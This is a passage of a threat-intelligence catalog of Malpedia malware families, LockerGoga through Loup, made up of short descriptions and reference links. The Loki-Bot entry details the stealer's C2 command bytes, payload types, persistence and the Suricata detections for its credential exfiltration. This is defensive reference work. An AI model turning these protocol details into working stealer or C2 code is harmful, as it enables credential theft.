https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.youtube.com/watch?v=C733AyPzkoc
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://blog.lexfo.fr/lockbit-malware.html
https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/
https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/
https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/
https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Lockbit.md
https://ke-la.com/lockbit-2-0-interview-with-russian-osint/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-recruiting-insiders-to-breach-corporate-networks/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511
https://www.glimps.fr/lockbit3-0/
https://redcanary.com/blog/intelligence-insights-november-2021/
https://securelist.com/modern-ransomware-groups-ttps/106824/

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/
https://blog.minerva-labs.com/lockbit-3.0-aka-lockbit-black-is-here-with-a-new-icon-new-ransom-note-new-wallpaper-but-less-evasiveness
https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility
https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511
https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/
https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/
https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/
https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html
https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/
https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/
https://skyblue.team/posts/hive-recovery-from-lockbit-2.0/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants
https://www.trendmicro.com/en_us/research/21/h/lockbit-resurfaces-with-version-2-0-ransomware-detections-in-chi.html
https://unit42.paloaltonetworks.com/lockbit-2-ransomware/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://securelist.com/new-ransomware-trends-in-2022/106457/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1
https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/
https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf
https://therecord.media/australian-cybersecurity-agency-warns-of-spike-in-lockbit-ransomware-attacks/
https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/
https://www.crowdstrike.com/blog/how-crowdstrike-prevents-volume-shadow-tampering-by-lockbit-ransomware/
https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack
https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://techcommunity.microsoft.com/t5/security-compliance-and-identity/part-2-lockbit-2-0-ransomware-bugs-and-database-recovery/ba-p/3254421
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://asec.ahnlab.com/en/35822/
https://intel471.com/blog/privateloader-malware
https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker
https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf

LockerGoga

According to Trend Micro, LockerGoga is a ransomware that has been used in multiple attacks, most notably against Altran Technologies and Norsk Hydro. It encrypts a range of documents and source code files but certain versions had little to no whitelist that would protect import system files such as the Windows Boot Manager.

The tag is: *misp-galaxy:malpedia="LockerGoga"*

LockerGoga is also known as:

Table 2500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga
https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202
https://dragos.com/wp-content/uploads/Spyware-Stealer-Locker-Wiper-LockerGoga-Revisited.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure
https://www.youtube.com/watch?v=o6eEN0mUakM
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/
https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.abuse.io/lockergoga.txt
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/
https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/
https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes

LockFile

A ransomware first observed in July 2021.

The tag is: *misp-galaxy:malpedia="LockFile"*

LockFile is also known as:

Table 2501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile
https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/
https://twitter.com/VirITeXplorer/status/1428750497872232459
https://www.csoonline.com/article/3631517/lockfile-ransomware-uses-intermittent-encryption-to-evade-detection.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows
https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-encryption-and-evasion/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/
https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/
https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html
https://blog.cyble.com/2021/08/25/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

Locky

Locky is a high profile ransomware family that first appeared in early 2016 and was observed being active until end of 2017. It encrypts files on the victim system and asks for ransom in order to have back original files. In its first version it added a .locky extension to the encrypted files, and in recent versions it added the .lukitus extension. The ransom amount is defined in BTC and depends on the actor.

The tag is: *misp-galaxy:malpedia="Locky"*

Locky is also known as:

Table 2502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/
https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html
https://threatpost.com/ransomware-gang-arrested-locky-hospitals/155842/
https://intel471.com/blog/a-brief-history-of-ta505
https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/
https://vixra.org/pdf/2002.0183v1.pdf
https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/
http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/
https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/
https://thisissecurity.stormshield.com/2018/03/20/de-obfuscating-jump-chains-with-binary-ninja/

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html
https://dissectingmalwa.re/picking-locky.html

Locky (Decryptor)

The tag is: *misp-galaxy:malpedia="Locky (Decryptor)"*

Locky (Decryptor) is also known as:

Table 2503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor

Locky Loader

For the lack of a better name, this is a VBS-based loader that was used in beginning of 2018 to deliver win.locky.

The tag is: *misp-galaxy:malpedia="Locky Loader"*

Locky Loader is also known as:

Table 2504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_loader

LockPOS

The tag is: *misp-galaxy:malpedia="LockPOS"*

LockPOS is also known as:

Table 2505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos
https://www.cyberbit.com/new-lockpos-malware-injection-technique/
https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html
https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/

Loda

Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.

The tag is: *misp-galaxy:malpedia="Loda"*

Loda is also known as:

- LodaRAT
- Nymeria

Table 2506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loda
https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html
https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/
https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html
https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html
https://www.silentpush.com/blog/more-lodarat-infrastructure-targeting-bangladesh-uncovered
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA

LODEINFO

The tag is: *misp-galaxy:malpedia="LODEINFO"*

LODEINFO is also known as:

Table 2507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo
https://securelist.com/apt-trends-report-q3-2020/99204/
https://blogs.jpcert.or.jp/en/2021/02/LODEINFO-3.html
https://blogs.jpcert.or.jp/ja/2020/02/LODEINFO.html
https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf

https://www.cyberandramen.net/2020/06/analysis-of-lodeinfo-maldoc.html
https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf
https://twitter.com/jpcert_ac/status/1351355443730255872
https://blogs.jpcert.or.jp/ja/2020/06/LODEINFO-2.html

Logedrut

The tag is: *misp-galaxy:malpedia="Logedrut"*

Logedrut is also known as:

Table 2508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logedrut
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

LogPOS

The tag is: *misp-galaxy:malpedia="LogPOS"*

LogPOS is also known as:

Table 2509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-11-16-logpos-new-point-of-sale-malware-using-mailslots.md
https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html

Logtu

The tag is: *misp-galaxy:malpedia="Logtu"*

Logtu is also known as:

Table 2510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu
https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/
https://news.drweb.ru/show/?i=14177

https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf

LoJax

The tag is: *misp-galaxy:malpedia="LoJax"*

LoJax is also known as:

Table 2511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax
https://www.youtube.com/watch?v=VeoXT0nEcFU
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://habr.com/ru/amp/post/668154/

LokiLocker

LokiLocker is a .Net ransomware, which was seen first in August 2021. This malware is protected with NETGuard (modified ConfuserEX) using the additional KoiVM virtualization plugin. The victims were observed ti be scattered around the world, with main concentation in Estern Europe and Asia (BlackBerry).

The tag is: *misp-galaxy:malpedia="LokiLocker"*

LokiLocker is also known as:

Table 2512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker
https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/
https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware
https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/

Loki Password Stealer (PWS)

"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMe

Loki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.

Loki-Bot accepts a single argument/switch of '-u' that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.

The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: "B7E1C2CC98066B250DDB2123".

Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: "%APPDATA%\ C98066\".

There can be four files within the hidden %APPDATA% directory at any given time: ".exe," ".lck," ".hdb" and ".kdb." They will be named after characters 13 thru 18 of the Mutex. For example: "6B250D." Below is the explanation of their purpose:

FILE EXTENSION FILE DESCRIPTION .exe A copy of the malware that will execute every time the user account is logged into .lck A lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts .hdb A database of hashes for data that has already been exfiltrated to the C2 server .kdb A database of keylogger data that has yet to be sent to the C2 server

If the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.

The first packet transmitted by Loki-Bot contains application data.

The second packet transmitted by Loki-Bot contains decrypted Windows credentials.

The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.

Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.

The first WORD of the HTTP Payload represents the Loki-Bot version.

The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:

BYTE PAYLOAD TYPE 0x26 Stolen Cryptocurrency Wallet 0x27 Stolen Application Data 0x28 Get C2 Commands from C2 Server 0x29 Stolen File 0x2A POS (Point of Sale?) 0x2B Keylogger Data 0x2C Screenshot

The 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!

Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.

The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.

Loki-Bot can accept the following instructions from the C2 Server:

BYTE INSTRUCTION DESCRIPTION 0x00 Download EXE & Execute 0x01 Download DLL & Load #1 0x02 Download DLL & Load #2 0x08 Delete HDB File 0x09 Start Keylogger 0x0A Mine & Steal Data 0x0E Exit Loki-Bot 0x0F Upgrade Loki-Bot 0x10 Change C2 Polling Frequency 0x11 Delete Executables & Exit

Suricata Signatures RULE SID RULE NAME 2024311 ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected 2024312 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1 2024313 ET TROJAN Loki Bot Request for C2 Commands Detected M1 2024314 ET TROJAN Loki Bot File Exfiltration Detected 2024315 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1 2024316 ET TROJAN Loki Bot Screenshot Exfiltration Detected 2024317 ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2 2024318 ET TROJAN Loki Bot Request for C2 Commands Detected M2 2024319 ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2

The tag is: *misp-galaxy:malpedia="Loki Password Stealer (PWS)"*

Loki Password Stealer (PWS) is also known as:

- Burkina
- Loki
- LokiBot
- LokiPWS

Table 2513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws
http://reversing.fun/reversing/2021/06/08/lokibot.html
https://github.com/R3MRUM/loki-parse
https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads
https://isc.sans.edu/diary/27282
http://www.malware-traffic-analysis.net/2017/06/12/index.html
https://www.virusbulletin.com/virusbulletin/2020/02/lokibot-dissecting-cc-panel-deployments/

https://phishme.com/loki-bot-malware/
http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html
https://www.lastline.com/blog/password-stealing-malware-loki-bot/
https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf
https://securelist.com/loki-bot-stealing-corporate-passwords/87595/
https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.atomicmatryoshka.com/post/malware-headliners-lokibot
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
https://news.sophos.com/en-us/2020/05/14/raticate/
https://www.youtube.com/watch?v=-FxyzuRv6Wg
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations
https://www.youtube.com/watch?v=N0wAh26wShE
https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html
http://reversing.fun/posts/2021/06/08/lokibot.html
https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://www.lac.co.jp/lacwatch/report/20220307_002893.html
https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.infoblox.com/wp-content/uploads/infoblox-whitepaper-deep-analysis-of-a-recent-lokibot-attack.pdf
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html
https://isc.sans.edu/diary/24372
https://www.youtube.com/watch?v=K3Yxu_9OUxU
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/spammed-png-file-hides-lokibot/
https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2

https://lab52.io/blog/a-twisted-malware-infection-chain/
https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf
https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/
https://malcat.fr/blog/reversing-a-nsis-dropper-using-quick-and-dirty-shellcode-emulation/
https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam-part-2/
https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file
https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/
https://www.trendmicro.com/en_us/research/21/h/new-campaign-sees-lokibot-delivered-via-multiple-methods.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/
https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations/
https://ivanvza.github.io/posts/lokibot_analysis

Lokorrito

According to ESET, this is a banking trojan that was active mainly in Mexico until the beginning of 2020, with builds for Brazil, Chile, and Colombia also having been identified.

The tag is: *misp-galaxy:malpedia="Lokorrito"*

Lokorrito is also known as:

Table 2514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lokorrito
https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/

LOLSnif

The tag is: *misp-galaxy:malpedia="LOLSnif"*

LOLSnif is also known as:

Table 2515. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif
https://medium.com/@vishal_thakur/lolsnif-malware-e6cb2e731e63
https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/
https://www.telekom.com/en/blog/group/article/lolsnif-tracking-another-ursnif-based-targeted-campaign-600062

LONGWATCH

The primary function of LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Windows temp folder.

The tag is: *misp-galaxy:malpedia="LONGWATCH"*

LONGWATCH is also known as:

Table 2516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

looChiper

LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families.

The tag is: *misp-galaxy:malpedia="looChiper"*

looChiper is also known as:

Table 2517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper
https://blog.yoroi.company/research/loocipher-the-new-infernal-ransomware/
https://github.com/ZLab-Cybaze-Yoroi/LooCipher_Decryption_Tool

https://www.fortinet.com/blog/threat-research/loocipher-can-encrypted-files-be-recovered.html
https://marcoramilli.com/2019/07/13/free-tool-loocipher-decryptor/

Lookback

The tag is: *misp-galaxy:malpedia="Lookback"*

Lookback is also known as:

Table 2518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback
https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/
https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://nao-sec.org/2021/01/royal-road-redive.html
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

L0rdix

L0rdix is a multipurpose .NET remote access tool (RAT) first discovered being sold on underground forums in November 2018. Out of the box, L0rdix supports eight commands, although custom commands can be defined and added. These include:

Download and execute Update Open page (visible) Open page (invisible) Cmd Kill process Upload file HTTP Flood

L0rdix can extract credentials from common web browsers and steal data from crypto wallets and a target’s clipboard. Optionally, L0rdix can deploy a cryptominer (XMRig) to its bots.

The tag is: *misp-galaxy:malpedia="L0rdix"*

L0rdix is also known as:

- lordix

Table 2519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix
https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py
https://twitter.com/hexlax/status/1058356670835908610
https://www.bromium.com/decrypting-l0rdix-rats-c2/
https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/
https://blog.ensilo.com/l0rdix-attack-tool

Lorenz

Tesorion describes Lorenz as a ransomware with design and implementation flaws, leading to impossible decryption with tools provided by the attackers. A free decryptor for 2021 versions was made available via the NoMoreRansom initiative. A new version of the malware was discovered in March 2022, for which again was provided a free decryptor, while the ransomware operators are not able to provide tools to decrypt affected files.

The tag is: *misp-galaxy:malpedia="Lorenz"*

Lorenz is also known as:

Table 2520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz
https://therecord.media/free-decrypter-available-for-lorenz-ransomware/
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/
https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20
https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/
https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/
https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/
https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware

Loup

Frank Boldewin describes Loup as a small cli-tool to cash out NCR devices (ATM).

